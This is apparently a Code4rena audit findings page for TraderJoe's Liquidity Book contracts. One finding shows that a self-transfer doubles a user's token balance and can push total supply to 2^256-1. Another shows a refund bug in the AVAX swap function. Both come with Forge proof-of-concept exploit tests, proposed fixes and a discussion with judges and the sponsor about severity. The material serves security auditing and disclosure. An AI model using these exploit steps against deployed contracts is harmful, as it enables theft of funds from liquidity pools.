Platform: Code4rena
Start Date: 14/10/2022
Pot Size: $100,000 USDC
Total HM: 12
Participants: 75
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 171
League: ETH
Rank: 37/75
Findings: 2
Award: $1.30
🌟 Selected for report: 0
🚀 Solo Findings: 0
0.3268 USDC - $0.33
https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L191
The accounting of balances of the tokens is not done right in the _transfer function, allowing a user to transfer an arbitrary amount of tokens from his/her balance to him/herself, incrementing the balance by the amount transferred. Because LBPair inherits from LBToken, this issue affects all pairs created in TraderJoe.
A side impact is that the invariant that the sum of user balances for a certain _id should be never be greater than the totalSupply of that _id can be bypassed. The totalSupply is not updated in the _transfer function (as it's only modified in the _mint and _burn functions) and can end up being less than a user's balance. This way, the user could burn enough tokens to make the totalSupply underflow (note the unchecked block) and make the totalSupply an extremely large number, which could cause the minting of tokens (via LBRouter's addLiquidity, for instance) always revert.
For example:
The error that causes the impacts described above can be found in the _transfer function:
function _transfer( address _from, address _to, uint256 _id, uint256 _amount ) internal virtual { uint256 _fromBalance = _balances[_id][_from]; if (_fromBalance < _amount) revert LBToken__TransferExceedsBalance(_from, _id, _amount); _beforeTokenTransfer(_from, _to, _id, _amount); uint256 _toBalance = _balances[_id][_to]; unchecked { _balances[_id][_from] = _fromBalance - _amount; _balances[_id][_to] = _toBalance + _amount; } _remove(_from, _id, _fromBalance, _amount); _add(_to, _id, _toBalance, _amount); }
To be precise, this line:
_balances[_id][_to] = _toBalance + _amount;
sets the balance of _to address to the variable _toBalance (wich is the cached balance of the account) plus the _amount transferred. The problem is, if _from and _to are the same address, their balance ends up being their initial balance (_toBalance) plus the amount transferred.
The following Forge tests illustrate the impacts described above:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./TestHelper.sol"; contract LiquidityBinTokenExploitTest is TestHelper { function setUp() public { token6D = new ERC20MockDecimals(6); token18D = new ERC20MockDecimals(18); factory = new LBFactory(DEV, 8e14); ILBPair _LBPairImplementation = new LBPair(factory); factory.setLBPairImplementation(address(_LBPairImplementation)); addAllAssetsToQuoteWhitelist(factory); setDefaultFactoryPresets(DEFAULT_BIN_STEP); pair = createLBPairDefaultFees(token6D, token18D); } function testExploitSafeTransferFrom() public { uint256 amountIn = 1e18; (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 1, 0); // We check Alice starts with zero balance assertEq(pair.balanceOf(ALICE, _ids[0]), 0); uint256 amount = pair.balanceOf(DEV, _ids[0]); // We transfer amount to Alice and then assert her balance is correct pair.safeTransferFrom(DEV, ALICE, _ids[0], amount); assertEq(pair.balanceOf(ALICE, _ids[0]), amount); // Alice calls safeTransferFrom with from and to addresses being ALICE's address // to transfer her full balance to herself // Ends up having twice her previous balance vm.prank(ALICE); pair.safeTransferFrom(ALICE, ALICE, _ids[0], amount); assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount); } function testExploitSafeBatchTransferFrom() public { uint256 amountIn = 1e18; (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0); // We check Alice starts with zero balance assertEq(pair.balanceOf(ALICE, _ids[0]), 0); uint256 amount = amountIn / 3; uint256[] memory amounts = new uint256[](5); for (uint256 i; i < 5; i++) { amounts[i] = pair.balanceOf(DEV, _ids[i]); } // We transfer amounts to Alice and then assert her balance for the first token is correct pair.safeBatchTransferFrom(DEV, ALICE, _ids, amounts); assertEq(pair.balanceOf(ALICE, _ids[0]), amount); // Alice calls safeBatchTransferFrom with from and to addresses being ALICE's address // to transfer her full balance of the first token to herself // Ends up having twice her previous balance vm.prank(ALICE); pair.safeBatchTransferFrom(ALICE, ALICE, _ids, amounts); assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount); } function testExploitBurnMint() public { uint256 amountIn = 1e18; ( uint256[] memory _ids, uint256[] memory _distributionX, uint256[] memory _distributionY, uint256 amountXIn ) = addLiquidity(amountIn, ID_ONE, 1, 0); // We check Alice starts with zero balance assertEq(pair.balanceOf(ALICE, _ids[0]), 0); uint256 amount = pair.balanceOf(DEV, _ids[0]); // We transfer amount to Alice and then assert her balance is correct pair.safeTransferFrom(DEV, ALICE, _ids[0], amount); assertEq(pair.balanceOf(ALICE, _ids[0]), amount); // We check the total supply is equal to amount, the balance of Alice assertEq(pair.balanceOf(ALICE, _ids[0]), pair.totalSupply(_ids[0])); // Alice calls safeTransferFrom with from and to addresses being ALICE's address // to transfer her full balance of the token to herself // Ends up having twice her previous balance vm.prank(ALICE); pair.safeTransferFrom(ALICE, ALICE, _ids[0], amount); assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount); // We check the total supply is still equal to amount, half the balance of Alice assertEq(amount, pair.totalSupply(_ids[0])); // Alice burns amount + 1 tokens. As the token supply is still amount, // this operation will underflow and we'll end up with a token supply equal to 2^256-1 uint256[] memory burnMintIds = new uint256[](1); burnMintIds[0] = _ids[0]; uint256[] memory burnMintAmounts = new uint256[](1); burnMintAmounts[0] = amount + 1; uint256[] memory transferToPairAmounts = new uint256[](1); transferToPairAmounts[0] = pair.balanceOf(ALICE, _ids[0]); vm.startPrank(ALICE); // first transfer amount + 1 to pair pair.safeBatchTransferFrom(ALICE, address(pair), burnMintIds, transferToPairAmounts); // then burn amount + 1 pair.burn(burnMintIds, burnMintAmounts, ALICE); vm.stopPrank(); // we check that the totalSupply is 2^256 - 1 assertEq(pair.totalSupply(_ids[0]), type(uint).max); // If we try to mint tokens, the execution reverts because it overflows (_ids, _distributionX, _distributionY, amountXIn) = spreadLiquidity(amountIn, ID_ONE, 1, 0); token6D.mint(address(pair), amountXIn); token18D.mint(address(pair), amountIn); vm.expectRevert(stdError.arithmeticError); pair.mint(_ids, _distributionX, _distributionY, DEV); } }
The first test checks that ALICE, after receiving some tokens from DEV, who added liquidity to a pair, calls safeTransferFrom to send her full balance to herself and ends up with twice her balance. The second test, checks the same but calling safeBatchTransferFrom (I only check here the first token of the batch for simplicity). The third test turns the total supply into 2^256-1 using the steps explained above, and checks that now is impossible to add liquidity to the pair.
Manual review and Forge tests
Change LBToken.sol line 191:
_balances[_id][_to] = _toBalance + _amount;
with
_balances[_id][_to] += _amount;
#0 - trust1995
2022-10-23T21:30:14Z
Dup of #422
#1 - GalloDaSballo
2022-10-26T16:33:51Z
Example of high quality report
#2 - GalloDaSballo
2022-10-26T16:35:02Z
#3 - c4-judge
2022-11-23T18:28:36Z
GalloDaSballo marked the issue as not a duplicate
#4 - c4-judge
2022-11-23T18:29:17Z
GalloDaSballo marked the issue as duplicate of #423
#5 - c4-judge
2022-11-23T18:29:57Z
GalloDaSballo marked the issue as not a duplicate
#6 - c4-judge
2022-11-23T18:30:20Z
GalloDaSballo marked the issue as duplicate of #299
#7 - Simon-Busch
2022-12-05T06:39:06Z
Marked this issue as Satisfactory as requested by @GalloDaSballo
0.9728 USDC - $0.97
https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L520
In LBRouter.sol, function swapAVAXForExactTokens is intended to send the exact amount of tokens _amountOut to address _to. In case the caller sends too much AVAX to the function call, the expected behaviour would be for the caller to be refunded the excess AVAX, but instead of this, this excess is also sent to _to. But instead of this, the transfer is never completed because:
if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value);
If msg.value is greater than amountsIn[0], amountsIn[0] - msg.value
will allways revert because of an underflow. So this is kind of a two bugs in one situation, although I think the real issue here is that the transfer tries to send AVAX to the _to address instead of refunding the msg.sender.
The following test shows how a call to swapAVAXForExactTokens sending a msg.value greater than the expected amountIn reverts. You can just copy paste the snippet in a new test file in the test file of the project and run forge test --match testExploitSwapAVAXForExactTokensSinglePair*
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./TestHelper.sol"; contract LiquidityBinRouterTest is TestHelper { function setUp() public { token6D = new ERC20MockDecimals(6); wavax = new WAVAX(); factory = new LBFactory(DEV, 8e14); ILBPair _LBPairImplementation = new LBPair(factory); factory.setLBPairImplementation(address(_LBPairImplementation)); addAllAssetsToQuoteWhitelist(factory); setDefaultFactoryPresets(DEFAULT_BIN_STEP); router = new LBRouter(factory, IJoeFactory(JOE_V1_FACTORY_ADDRESS), IWAVAX(address(wavax))); pairWavax = createLBPairDefaultFees(token6D, wavax); addLiquidityFromRouter(token6D, ERC20MockDecimals(address(wavax)), 100e18, ID_ONE, 9, 2, DEFAULT_BIN_STEP); } function testExploitSwapAVAXForExactTokensSinglePair() public { uint256 amountOut = 1e18; (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false); IERC20[] memory tokenList = new IERC20[](2); tokenList[0] = wavax; tokenList[1] = token6D; uint256[] memory pairVersions = new uint256[](1); pairVersions[0] = DEFAULT_BIN_STEP; vm.deal(ALICE, amountIn + 100); assertEq(BOB.balance, 0); vm.prank(ALICE); vm.expectRevert(stdError.arithmeticError); router.swapAVAXForExactTokens{value: amountIn + 100}(amountOut, pairVersions, tokenList, BOB, block.timestamp); } receive() external payable {} }
I fixed this substraction in LBRouter.sol to prevent that the call reverts, and then updated the previous test like this:
function testExploitSwapAVAXForExactTokensSinglePair() public { uint256 amountOut = 1e18; (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false); IERC20[] memory tokenList = new IERC20[](2); tokenList[0] = wavax; tokenList[1] = token6D; uint256[] memory pairVersions = new uint256[](1); pairVersions[0] = DEFAULT_BIN_STEP; vm.deal(ALICE, amountIn + 100); assertEq(BOB.balance, 0); vm.prank(ALICE); router.swapAVAXForExactTokens{value: amountIn + 100}(amountOut, pairVersions, tokenList, BOB, block.timestamp); assertEq(BOB.balance, 100); assertEq(IERC20(token6D).balanceOf(BOB), amountOut); }
So this time, after the call to swapAVAXForExactTokens, BOB ends up with a native balance of 100 and a token6D balance equal to the tokens we wanted to send to him. Those excess AVAX should have been returned to ALICE instead.
Manual review and Forge tests
There are two things to fix here:
amountsIn[0] - msg.value
To acomplish this, change Line 520 of LBRouter.sol:
if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value);
with this
if (msg.value > amountsIn[0]) _safeTransferAVAX(msg.sender, msg.value - amountsIn[0]);
#0 - Shungy
2022-10-24T13:02:57Z
I believe this finding to be valid but of lower severity.
My reasoning is stated under a duplicate submission: https://github.com/code-423n4/2022-10-traderjoe-findings/issues/469#issuecomment-1288458447
#1 - neumoxx
2022-10-24T13:33:39Z
I believe this finding to be valid but of lower severity.
My reasoning is stated under a duplicate submission: #469 (comment)
@Shungy The main issue I submitted here is that the function is not refunding the sender, but forwarding the excess AVAX to the recipient of the swap, not the error in the subtraction (which btw I also explain in the issue). I should have probably filed two submissions, one for each bug, now that I think about it.
#2 - 0x0Louis
2022-10-28T23:45:12Z
Refunding to to
was intentional as we believe that if a contract uses our router, the refund would be sent to the contract that uses the router and not the user. e.g.
Alice -> Contract A -> LBRouter -> Alice
In this case, Contract A would receive Alice's refund, while using to
it would be Alice (or another recipient, but we believe that most people use to
as themselves).
However, I understand why it makes sense to send it to the msg.sender
as well.
What do you think of this @neumoxx? If you do not agree with us, could you elaborate a bit further?
#3 - neumoxx
2022-10-29T08:13:45Z
Hi @0x0Louis and thanks for replying. I get your point. There are so many use cases that, for some of them, the right thing would be to refund the msg.sender (this is how UniswapV2 handles this), for others it would be to refund _to or tx.origin or even another address. In the end what the caller would expect is that the function refunds the address that is spending the AVAX. That is why I wrote this report in the first place, because if I want to swap my AVAX to send some tokens to you, it is not of common sense that the function sends the tokens + the excess AVAX to you. As the AVAX "spender" is not easy to know beforehand, the only flexible solution I can think of that would cover all situations is adding a _refundRecipient argument to the function, so it is crystal clear to the caller who will receive the excess amount sent in. Something like this:
function swapAVAXForExactTokens( uint256 _amountOut, uint256[] memory _pairBinSteps, IERC20[] memory _tokenPath, address _to, address _refundRecipient, uint256 _deadline ) ... if (msg.value > amountsIn[0]) _safeTransferAVAX(_refundRecipient, msg.value - amountsIn[0]); }
Note that this excess sent to _to address is also present in LBPair's mint function (here and here), so if you go for adding the _refundRecipient argument, you should probably add it there too. By the way, I didn't report the excess sent to _to in the mint function because I didn't thought it was likely to happen to add liquidity to an address other than the msg.sender.
#4 - 0x0Louis
2022-10-29T19:47:55Z
Hi, thanks for replying and giving so much context.
I believe that the refund on the Router should be msg.sender
and that the contract that uses our router should handle the refund to the user if this behavior can occur.
However, inside the mint
function, we believe that as the to
receive the LP receipt tokens it also make sense that he receives the refund of the excess tokens sent. Refunding the msg.sender would send the funds to the router and would increase gas and for a transfer tax token, incurs more losses than necessary.
Adding a refundRecipient
would indeed solve all the issues, but I don't really like changing 2 functions at this stage, as it might add issues that we're not aware of currently
#5 - neumoxx
2022-10-30T08:09:25Z
Yes, you're right, I missed the fact that the mint
's function msg.sender
is the Router, so in that case it's probably better to refund to
than msg.sender
. And happy to read that we agree swapAVAXForExactTokens
should refund msg.sender
.
Regarding refundRecipient
, I totally agree that adding a new argument to these functions could be a risk, I just had to point out it's the most flexible solution to all use cases.
#6 - GalloDaSballo
2022-11-10T15:40:27Z
#7 - c4-judge
2022-11-10T15:41:32Z
GalloDaSballo marked the issue as duplicate
#8 - c4-judge
2022-11-10T15:42:30Z
GalloDaSballo changed the severity to 2 (Med Risk)
#9 - neumoxx
2022-11-10T17:04:30Z
Hi @GalloDaSballo, I think this issue is not a duplicate of #469 and should not be downgraded either. Here's my reasoning: The issue I expose here is the wrong destination of the refund of the excess AVAX sent, not the issue with the order of the subtraction that causes this function to revert. You can see it both in the title of the issue, the explanation of it and the exchanged comments with the sponsor (who confirmed the issue). I think it deserves a High impact because can lead to a loss of funds of the sender. Thx.
#10 - c4-judge
2022-11-13T19:54:13Z
#11 - GalloDaSballo
2022-11-13T19:54:40Z
L
#12 - GalloDaSballo
2022-11-13T20:00:45Z
Disagree with the implication that not refunding msg.sender is equivalent to a loss of principal or a loss of yield, the loss is the marginal unused tokens, which can be argued are equivalent to being transferred to the to
in either case, with the difference that some of them are not being processed.
#13 - GalloDaSballo
2022-11-20T23:53:32Z
First of all, as of all dups of #469 I'm going to bump these up to Med as they ultimately show that the function doesn't work as intended in every case except when no price action has happened between order placement and tx mining.
That said, I have consulted with two other judges and we agree that the finding related to refunding to to
instead of the caller is more of a quality of life improvement than a vulnerability.
Specifically:
to
if they wanted the refundto
whom has control of the tokens and can do what they desire.For those reasons, am not going to create a separate Med for this report, but will upgrade to Med as a dup of #469
I appreciate you taking the time to flag this up, and believe your attention to detail will help you long term, however, in this specific context, I cannot justify a separate Med Issue for the to
part of the finding.
If I were to rate them separately I would have given Low Severity to the to
and Med to the revert on slippage
#14 - Simon-Busch
2022-11-21T06:24:27Z
Reverted to M as requested by @GalloDaSballo Duplicate of https://github.com/code-423n4/2022-10-traderjoe-findings/issues/469
#15 - neumoxx
2022-11-21T08:12:11Z
Thanks @GalloDaSballo for your thorough response, and for taking a second look to both issues.
#16 - Simon-Busch
2022-12-05T06:43:58Z
Marked this issue as satisfactory as requested by @GalloDaSballo